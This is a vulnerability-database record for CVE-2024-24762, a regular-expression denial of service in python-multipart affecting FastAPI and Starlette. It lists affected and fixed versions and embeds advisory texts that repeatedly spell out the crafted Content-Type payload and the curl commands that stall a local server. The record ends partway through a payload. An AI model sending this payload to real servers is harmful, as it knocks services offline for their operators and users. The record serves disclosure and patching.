{"id":"CVE-2024-24762","aliases":["CLSA-2025-1755043914","CLSA-2025-1755735112","CLSA-2025-1758586346","CLSA-2026-1787305298","DEBIAN-CVE-2024-24762","EUVD-2024-0059","GHSA-2jv5-9r88-3w3p","GHSA-qf9m-vfgh-m389","PYSEC-2024-38","PYSEC-2026-1850","ROOT-APP-PYPI-CVE-2024-24762","ROOT-APP-PYPI-GHSA-qf9m-vfgh-m389","UBUNTU-CVE-2024-24762","USN-8027-1","openSUSE-SU-2024:13664-1","openSUSE-SU-2024:13684-1","openSUSE-SU-2026:11710-1","openSUSE-SU-2026:12032-1"],"status":"published","title":"python-multipart vulnerable to content-type header Regular expression Denial of Service","description":"`python-multipart` is a streaming multipart parser for Python. When using form data, `python-multipart` uses a Regular Expression to parse the HTTP `Content-Type` header, including options. An attacker could send a custom-made `Content-Type` option that is very difficult for the RegEx to process, consuming CPU resources and stalling indefinitely (minutes or more) while holding the main event loop. This means that process can't handle any more requests, leading to regular expression denial of service. This vulnerability has been patched in version 0.0.7.","severity":{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.01523,"percentile":0.74963,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-1333","CWE-400"],"published":"2024-02-05T14:33:06Z","modified":"2026-11-02T12:01:35Z","fixes":[{"ecosystem":"PyPI","package":"python-multipart","fixed_in":["0.0.7"],"sources":["ghsa","osv"]},{"ecosystem":"TuxCare:PyPI","package":"fastapi","fixed_in":["0.63.0.post2+tuxcare","0.104.1.post1+tuxcare"],"sources":["osv"]},{"ecosystem":"TuxCare:PyPI","package":"python-multipart","fixed_in":["0.0.6.post1+tuxcare"],"sources":["osv"]},{"ecosystem":"TuxCare:PyPI","package":"starlette","fixed_in":["0.27.0.post7+tuxcare"],"sources":["osv"]},{"ecosystem":"Debian:13","package":"python-multipart","fixed_in":["0.0.9-1"],"sources":["osv"]},{"ecosystem":"Debian:14","package":"python-multipart","fixed_in":["0.0.9-1"],"sources":["osv"]},{"ecosystem":"PyPI","package":"fastapi","fixed_in":["0.109.1"],"sources":["osv"]},{"ecosystem":"Root:PyPI","package":"python-multipart","fixed_in":["0.0.5+aikido.1"],"sources":["osv"]},{"ecosystem":"Root:PyPI","package":"fastapi","fixed_in":["0.101.1+aikido.1","0.89.1+aikido.1"],"sources":["osv"]},{"ecosystem":"Ubuntu:Pro:22.04:LTS","package":"python-multipart","fixed_in":["0.0.5-2ubuntu0.1~esm1"],"sources":["osv"]},{"ecosystem":"openSUSE:Tumbleweed","package":"python-fastapi","fixed_in":["0.138.0-2.1"],"sources":["osv"]},{"ecosystem":"openSUSE:Tumbleweed","package":"python-python-multipart","fixed_in":["0.0.32-1.3"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"python-multipart","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"0.0.6"},{"fixed":"0.0.7"}]}]},{"source":"osv","ecosystem":"TuxCare:PyPI","package":"fastapi","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.63.0"},{"fixed":"0.63.0.post2+tuxcare"}]}],"versions":["0.63.0","0.63.0.post1+tuxcare"]},{"source":"osv","ecosystem":"TuxCare:PyPI","package":"fastapi","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.104.1"},{"fixed":"0.104.1.post1+tuxcare"}]}],"versions":["0.104.1"]},{"source":"osv","ecosystem":"TuxCare:PyPI","package":"python-multipart","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.0.6"},{"fixed":"0.0.6.post1+tuxcare"}]}],"versions":["0.0.6"]},{"source":"osv","ecosystem":"TuxCare:PyPI","package":"starlette","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.27.0"},{"fixed":"0.27.0.post7+tuxcare"}]}],"versions":["0.27.0","0.27.0.post1+tuxcare","0.27.0.post2+tuxcare","0.27.0.post3+tuxcare","0.27.0.post4+tuxcare","0.27.0.post5+tuxcare","0.27.0.post6+tuxcare"]},{"source":"osv","ecosystem":"Debian:12","package":"python-multipart","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.0.17-1","0.0.17-2","0.0.17-3","0.0.17-4","0.0.17-5","0.0.20-1","0.0.20-1.1","0.0.20-1.1~deb13u1","0.0.22-1","0.0.26-1","0.0.32-1","0.0.33-1","0.0.5-3","0.0.6-1","0.0.9-1"]},{"source":"osv","ecosystem":"Debian:13","package":"python-multipart","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.9-1"}]}]},{"source":"osv","ecosystem":"Debian:14","package":"python-multipart","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.9-1"}]}]},{"source":"osv","ecosystem":"PyPI","package":"python-multipart","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.7"}]}],"versions":["0.0.1","0.0.2","0.0.3","0.0.4","0.0.5","0.0.6"]},{"source":"osv","ecosystem":"PyPI","package":"fastapi","ranges":[{"type":"GIT","events":[{"introduced":"0"},{"fixed":"9d34ad0ee8a0dfbbcce06f76c2d5d851085024fc"}]},{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.109.1"}]}],"versions":["0.1.0","0.1.10","0.1.11","0.1.12","0.1.13","0.1.14","0.1.15","0.1.16","0.1.17","0.1.18","0.1.19","0.1.2","0.1.3","0.1.4","0.1.5","0.1.6","0.1.7","0.1.8","0.1.9","0.10.0","0.10.1","0.10.2","0.100.0","0.100.0b1","0.100.0b2","0.100.0b3","0.100.1","0.101.0","0.101.1","0.102.0","0.103.0","0.103.1","0.103.2","0.104.0","0.104.1","0.105.0","0.106.0","0.107.0","0.108.0","0.109.0","0.11.0","0.12.0","0.12.1","0.13.0","0.14.0","0.15.0","0.16.0","0.17.0","0.18.0","0.19.0","0.2.0","0.2.1","0.20.0","0.20.1","0.21.0","0.22.0","0.23.0","0.24.0","0.25.0","0.26.0","0.27.0","0.27.1","0.27.2","0.28.0","0.29.0","0.29.1","0.3.0","0.30.0","0.30.1","0.31.0","0.32.0","0.33.0","0.34.0","0.35.0","0.36.0","0.37.0","0.38.0","0.38.1","0.39.0","0.4.0","0.40.0","0.41.0","0.42.0","0.43.0","0.44.0","0.44.1","0.45.0","0.46.0","0.47.0","0.47.1","0.48.0","0.49.0","0.49.1","0.49.2","0.5.0","0.5.1","0.50.0","0.51.0","0.52.0","0.53.0","0.53.1","0.53.2","0.54.0","0.54.1","0.54.2","0.55.0","0.55.1","0.56.0","0.56.1","0.57.0","0.58.0","0.58.1","0.59.0","0.6.0","0.6.1","0.6.2","0.6.3","0.6.4","0.60.0","0.60.1","0.60.2","0.61.0","0.61.1"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Advisory","advisory","web"]},{"url":"https://github.com/Kludex/python-multipart/commit/20f0ef6b4e4caf7d69a667c54dff57fe467109a4","tags":["x_refsource_MISC","x_transferred","Patch","fix","web","report"]},{"url":"https://github.com/tiangolo/fastapi/security/advisories/GHSA-qf9m-vfgh-m389","tags":["x_refsource_MISC","x_transferred","Broken Link","advisory","web"]},{"url":"https://github.com/encode/starlette/security/advisories/GHSA-93gm-qmq6-w238","tags":["x_refsource_MISC","x_transferred","Broken Link","advisory","web"]},{"url":"https://github.com/andrew-d/python-multipart/blob/d3d16dae4b061c34fe9d3c9081d9800c49fc1f7a/multipart/multipart.py#L72-L74","tags":["x_refsource_MISC","x_transferred","Product","web"]},{"url":"https://github.com/encode/starlette/commit/13e5c26a27f4903924624736abd6131b2da80cc5","tags":["x_refsource_MISC","x_transferred","Patch","fix","web"]},{"url":"https://github.com/tiangolo/fastapi/commit/9d34ad0ee8a0dfbbcce06f76c2d5d851085024fc","tags":["x_refsource_MISC","x_transferred","Patch","fix","web"]},{"url":"https://github.com/tiangolo/fastapi/releases/tag/0.109.1","tags":["x_refsource_MISC","x_transferred","Product","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2024-24762","tags":["advisory"]},{"url":"https://github.com/pypa/advisory-database/tree/main/vulns/fastapi/PYSEC-2024-38.yaml","tags":["web"]},{"url":"https://github.com/github/advisory-database/pull/4829","tags":["web"]},{"url":"https://github.com/advisories/GHSA-2jv5-9r88-3w3p","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-qf9m-vfgh-m389"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2024/24xxx/CVE-2024-24762.json","tags":["advisory"]},{"url":"https://github.com/Kludex/python-multipart","tags":["package"]},{"url":"https://github.com/encode/starlette","tags":["package"]},{"url":"https://github.com/tiangolo/fastapi","tags":["package"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2024-24762","tags":["advisory"]},{"url":"https://pypi.org/project/python-multipart","tags":["package"]},{"url":"https://ubuntu.com/security/CVE-2024-24762","tags":["report"]},{"url":"https://github.com/Kludex/python-multipart/pull/75","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2024-24762","tags":["report"]},{"url":"https://ubuntu.com/security/notices/USN-8027-1","tags":["advisory"]},{"url":"https://ubuntu.com/security/CVE-2024-53981","tags":["report"]},{"url":"https://ubuntu.com/security/CVE-2026-24486","tags":["report"]},{"url":"","tags":["advisory"]},{"url":"https://www.suse.com/security/cve/CVE-2024-24762","tags":["web"]}],"sources":{"cve":[{"id":"CVE-2024-24762","title":"python-multipart vulnerable to content-type header Regular expression Denial of Service","description":"`python-multipart` is a streaming multipart parser for Python. When using form data, `python-multipart` uses a Regular Expression to parse the HTTP `Content-Type` header, including options. An attacker could send a custom-made `Content-Type` option that is very difficult for the RegEx to process, consuming CPU resources and stalling indefinitely (minutes or more) while holding the main event loop. This means that process can't handle any more requests, leading to regular expression denial of service. This vulnerability has been patched in version 0.0.7.","status":"published","published":"2024-02-05T14:33:06.481Z","modified":"2025-05-09T16:32:50.015Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"cna"}],"cwes":["CWE-400"],"updated_at":"2026-11-02T14:34:13.64024Z"}],"euvd":[{"id":"EUVD-2024-0059","description":"`python-multipart` is a streaming multipart parser for Python. When using form data, `python-multipart` uses a Regular Expression to parse the HTTP `Content-Type` header, including options. An attacker could send a custom-made `Content-Type` option that is very difficult for the RegEx to process, consuming CPU resources and stalling indefinitely (minutes or more) while holding the main event loop. This means that process can't handle any more requests, leading to regular expression denial of service. This vulnerability has been patched in version 0.0.7.","status":"published","published":"2024-02-05T14:33:06Z","modified":"2025-05-09T16:32:50Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T20:32:50.734545Z"}],"ghsa":[{"id":"GHSA-2jv5-9r88-3w3p","title":"python-multipart vulnerable to Content-Type Header ReDoS","description":"### Summary\n\nWhen using form data, `python-multipart` uses a Regular Expression to parse the HTTP `Content-Type` header, including options.\n\nAn attacker could send a custom-made `Content-Type` option that is very difficult for the RegEx to process, consuming CPU resources and stalling indefinitely (minutes or more) while holding the main event loop. This means that process can't handle any more requests.\n\nThis can create a ReDoS (Regular expression Denial of Service): https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS\n\nThis only applies when the app uses form data, parsed with `python-multipart`.\n\n### Details\n\nA regular HTTP `Content-Type` header could look like:\n\n```\nContent-Type: text/html; charset=utf-8\n```\n\n`python-multipart` parses the option with this RegEx: https://github.com/andrew-d/python-multipart/blob/d3d16dae4b061c34fe9d3c9081d9800c49fc1f7a/multipart/multipart.py#L72-L74\n\nA custom option could be made and sent to the server to break it with:\n\n```\nContent-Type: application/x-www-form-urlencoded; !=\\\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\n```\n\n### PoC\n\nCreate a simple WSGI application, that just parses the `Content-Type`, and run it with `python main.py`:\n\n```Python\n# main.py\nfrom wsgiref.simple_server import make_server\nfrom wsgiref.validate import validator\n\nfrom multipart.multipart import parse_options_header\n\n\ndef simple_app(environ, start_response):\n    _, _ = parse_options_header(environ[\"CONTENT_TYPE\"])\n\n    start_response(\"200 OK\", [(\"Content-type\", \"text/plain\")])\n    return [b\"Ok\"]\n\n\nhttpd = make_server(\"\", 8123, validator(simple_app))\nprint(\"Serving on port 8123...\")\nhttpd.serve_forever()\n```\n\nThen send the attacking request with:\n\n```console\n$ curl -v -X 'POST' -H $'Content-Type: application/x-www-form-urlencoded; !=\\\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\' --data-binary 'input=1' 'http://localhost:8123/'\n```\n\n### Impact\n\nThis is a ReDoS, (Regular expression Denial of Service), so it only applies to those using python-multipart to read form data, such as Starlette and FastAPI.\n\n### Original Report\n\nThis was originally reported to FastAPI as an email to security@tiangolo.com, sent via https://huntr.com/, the original reporter is Marcello, https://github.com/byt3bl33d3r\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal report to FastAPI\u003c/summary\u003e\n\nHey Tiangolo!\n\nMy name's Marcello and I work on the ProtectAI/Huntr Threat Research team, a few months ago we got a report (from @nicecatch2000) of a ReDoS affecting another very popular Python web framework. After some internal research, I found that FastAPI is vulnerable to the same ReDoS under certain conditions (only when it parses Form data not JSON).\n\nHere are the details: I'm using the latest version of FastAPI (0.109.0) and the following code:\n\n```Python\nfrom typing import Annotated\nfrom fastapi.responses import HTMLResponse\nfrom fastapi import FastAPI,Form\nfrom pydantic import BaseModel\n\nclass Item(BaseModel):\n    username: str\n\napp = FastAPI()\n\n@app.get(\"/\", response_class=HTMLResponse)\nasync def index():\n    return HTMLResponse(\"Test\", status_code=200)\n\n@app.post(\"/submit/\")\nasync def submit(username: Annotated[str, Form()]):\n    return {\"username\": username}\n\n@app.post(\"/submit_json/\")\nasync def submit_json(item: Item):\n    return {\"username\": item.username}\n```\n\nI'm running the above with uvicorn with the following command:\n\n```console\nuvicorn server:app\n```\n\nThen run the following cUrl command:\n\n```\ncurl -v -X 'POST' -H $'Content-Type: application/x-www-form-urlencoded; !=\\\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\' --data-binary 'input=1' 'http://localhost:8000/submit/'\n```\n\nYou'll see the server locks up, is unable to serve anymore requests and one CPU core is pegged to 100%\n\nYou can even start uvicorn with multiple workers with the --workers 4 argument and as long as you send (workers + 1) requests you'll completely DoS the FastApi server.\n\nIf you try submitting Json to the /submit_json endpoint with the malicious Content-Type header you'll see it isn't vulnerable. So this only affects FastAPI when it parses Form data.\n\nCheers\n\n#### Impact\n\nAn attacker is able to cause a DoS on a FastApi server via a malicious Content-Type header if it parses Form data.\n\n#### Occurrences\n\n[params.py L586](https://github.com/tiangolo/fastapi/blob/d74b3b25659b42233a669f032529880de8bd6c2d/fastapi/params.py#L586)\n\n\u003c/details\u003e","status":"published","published":"2024-02-12T17:28:12Z","modified":"2026-04-03T19:13:44Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-400"],"updated_at":"2026-11-02T14:39:47.945242Z"},{"id":"GHSA-qf9m-vfgh-m389","title":"Duplicate Advisory: FastAPI Content-Type Header ReDoS","description":"## Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-2jv5-9r88-3w3p. This link is maintained to preserve external references.\n\n## Original Description\n\n### Summary\n\nWhen using form data, `python-multipart` uses a Regular Expression to parse the HTTP `Content-Type` header, including options.\n\nAn attacker could send a custom-made `Content-Type` option that is very difficult for the RegEx to process, consuming CPU resources and stalling indefinitely (minutes or more) while holding the main event loop. This means that process can't handle any more requests.\n\nThis can create a ReDoS (Regular expression Denial of Service): https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS\n\nThis only applies when the app uses form data, parsed with `python-multipart`.\n\n### Details\n\nA regular HTTP `Content-Type` header could look like:\n\n```\nContent-Type: text/html; charset=utf-8\n```\n\n`python-multipart` parses the option with this RegEx: https://github.com/andrew-d/python-multipart/blob/d3d16dae4b061c34fe9d3c9081d9800c49fc1f7a/multipart/multipart.py#L72-L74\n\nA custom option could be made and sent to the server to break it with:\n\n```\nContent-Type: application/x-www-form-urlencoded; !=\\\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\n```\n\nThis is also reported to Starlette at: https://github.com/encode/starlette/security/advisories/GHSA-93gm-qmq6-w238\n\n### PoC\n\nCreate a FastAPI app that uses form data:\n\n```Python\n# main.py\nfrom typing import Annotated\nfrom fastapi.responses import HTMLResponse\nfrom fastapi import FastAPI,Form\nfrom pydantic import BaseModel\n\nclass Item(BaseModel):\n    username: str\n\napp = FastAPI()\n\n@app.get(\"/\", response_class=HTMLResponse)\nasync def index():\n    return HTMLResponse(\"Test\", status_code=200)\n\n@app.post(\"/submit/\")\nasync def submit(username: Annotated[str, Form()]):\n    return {\"username\": username}\n\n@app.post(\"/submit_json/\")\nasync def submit_json(item: Item):\n    return {\"username\": item.username}\n```\n\nThen start it with:\n\n```console\n$ uvicorn main:app\n\nINFO:     Started server process [50601]\nINFO:     Waiting for application startup.\nINFO:     ASGI 'lifespan' protocol appears unsupported.\nINFO:     Application startup complete.\nINFO:     Uvicorn running on http://127.0.0.1:8000 (Press CTRL+C to quit)\n```\n\nThen send the attacking request with:\n\n```console\n$ curl -v -X 'POST' -H $'Content-Type: application/x-www-form-urlencoded; !=\\\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\' --data-binary 'input=1' 'http://localhost:8000/submit/'\n```\n\n#### Stopping it\n\nBecause that holds the main loop consuming the CPU non-stop, it's not possible to simply kill Uvicorn with `Ctrl+C` as it can't handle the signal.\n\nTo stop it, first check the process ID running Uvicorn:\n\n```console\n$ ps -fA | grep uvicorn\n\n  501 59461 24785   0  4:28PM ttys004    0:00.13 /Users/user/code/starlette/env3.10/bin/python /Users/user/code/starlette/env3.10/bin/uvicorn redos_starlette:app\n  501 59466 99935   0  4:28PM ttys010    0:00.00 grep uvicorn\n```\n\nIn this case, the process ID was `59461`, then you can kill it (forcefully, with `-9`) with:\n\n```console\n$ kill -9 59461\n```\n\n### Impact\n\nIt's a ReDoS, (Regular expression Denial of Service), it only applies to those reading form data, using `python-multipart`. This way it also affects other libraries using Starlette, like FastAPI.\n\n### Original Report\n\nThis was originally reported to FastAPI as an email to security@tiangolo.com, sent via https://huntr.com/, the original reporter is Marcello, https://github.com/byt3bl33d3r\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal report to FastAPI\u003c/summary\u003e\n\nHey Tiangolo!\n\nMy name's Marcello and I work on the ProtectAI/Huntr Threat Research team, a few months ago we got a report (from @nicecatch2000) of a ReDoS affecting another very popular Python web framework. After some internal research, I found that FastAPI is vulnerable to the same ReDoS under certain conditions (only when it parses Form data not JSON).\n\nHere are the details: I'm using the latest version of FastAPI (0.109.0) and the following code:\n\n```Python\nfrom typing import Annotated\nfrom fastapi.responses import HTMLResponse\nfrom fastapi import FastAPI,Form\nfrom pydantic import BaseModel\n\nclass Item(BaseModel):\n    username: str\n\napp = FastAPI()\n\n@app.get(\"/\", response_class=HTMLResponse)\nasync def index():\n    return HTMLResponse(\"Test\", status_code=200)\n\n@app.post(\"/submit/\")\nasync def submit(username: Annotated[str, Form()]):\n    return {\"username\": username}\n\n@app.post(\"/submit_json/\")\nasync def submit_json(item: Item):\n    return {\"username\": item.username}\n```\n\nI'm running the above with uvicorn with the following command:\n\n```console\nuvicorn server:app\n```\n\nThen run the following cUrl command:\n\n```\ncurl -v -X 'POST' -H $'Content-Type: application/x-www-form-urlencoded; !=\\\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\' --data-binary 'input=1' 'http://localhost:8000/submit/'\n```\n\nYou'll see the server locks up, is unable to serve anymore requests and one CPU core is pegged to 100%\n\nYou can even start uvicorn with multiple workers with the --workers 4 argument and as long as you send (workers + 1) requests you'll completely DoS the FastApi server.\n\nIf you try submitting Json to the /submit_json endpoint with the malicious Content-Type header you'll see it isn't vulnerable. So this only affects FastAPI when it parses Form data.\n\nCheers\n\n#### Impact\n\nAn attacker is able to cause a DoS on a FastApi server via a malicious Content-Type header if it parses Form data.\n\n#### Occurrences\n\n[params.py L586](https://github.com/tiangolo/fastapi/blob/d74b3b25659b42233a669f032529880de8bd6c2d/fastapi/params.py#L586)\n\n\u003c/details\u003e","status":"withdrawn","published":"2024-02-05T17:01:54Z","modified":"2026-03-20T05:02:58Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-400","CWE-1333"],"updated_at":"2026-11-02T14:39:38.524712Z"}],"nvd":[{"id":"CVE-2024-24762","description":"`python-multipart` is a streaming multipart parser for Python. When using form data, `python-multipart` uses a Regular Expression to parse the HTTP `Content-Type` header, including options. An attacker could send a custom-made `Content-Type` option that is very difficult for the RegEx to process, consuming CPU resources and stalling indefinitely (minutes or more) while holding the main event loop. This means that process can't handle any more requests, leading to regular expression denial of service. This vulnerability has been patched in version 0.0.7.","status":"published","published":"2024-02-05T15:15:09.26Z","modified":"2026-06-17T07:14:48.49Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"secondary"},{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"primary"}],"cwes":["CWE-400","CWE-1333"],"updated_at":"2026-11-02T14:09:34.891666Z"}],"osv":[{"id":"CVE-2024-24762","title":"python-multipart vulnerable to content-type header Regular expression Denial of Service","description":"`python-multipart` is a streaming multipart parser for Python. When using form data, `python-multipart` uses a Regular Expression to parse the HTTP `Content-Type` header, including options. An attacker could send a custom-made `Content-Type` option that is very difficult for the RegEx to process, consuming CPU resources and stalling indefinitely (minutes or more) while holding the main event loop. This means that process can't handle any more requests, leading to regular expression denial of service. This vulnerability has been patched in version 0.0.7.","status":"published","published":"2024-02-05T14:33:06.481Z","modified":"2026-10-28T02:31:06.019228618Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-400"],"updated_at":"2026-11-02T15:44:38.897406Z"},{"id":"DEBIAN-CVE-2024-24762","description":"`python-multipart` is a streaming multipart parser for Python. When using form data, `python-multipart` uses a Regular Expression to parse the HTTP `Content-Type` header, including options. An attacker could send a custom-made `Content-Type` option that is very difficult for the RegEx to process, consuming CPU resources and stalling indefinitely (minutes or more) while holding the main event loop. This means that process can't handle any more requests, leading to regular expression denial of service. This vulnerability has been patched in version 0.0.7.","status":"published","published":"2024-02-05T15:15:09.26Z","modified":"2026-11-02T12:01:35.708571295Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:45:41.849198Z"},{"id":"GHSA-2jv5-9r88-3w3p","title":"python-multipart vulnerable to Content-Type Header ReDoS","description":"### Summary\n\nWhen using form data, `python-multipart` uses a Regular Expression to parse the HTTP `Content-Type` header, including options.\n\nAn attacker could send a custom-made `Content-Type` option that is very difficult for the RegEx to process, consuming CPU resources and stalling indefinitely (minutes or more) while holding the main event loop. This means that process can't handle any more requests.\n\nThis can create a ReDoS (Regular expression Denial of Service): https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS\n\nThis only applies when the app uses form data, parsed with `python-multipart`.\n\n### Details\n\nA regular HTTP `Content-Type` header could look like:\n\n```\nContent-Type: text/html; charset=utf-8\n```\n\n`python-multipart` parses the option with this RegEx: https://github.com/andrew-d/python-multipart/blob/d3d16dae4b061c34fe9d3c9081d9800c49fc1f7a/multipart/multipart.py#L72-L74\n\nA custom option could be made and sent to the server to break it with:\n\n```\nContent-Type: application/x-www-form-urlencoded; 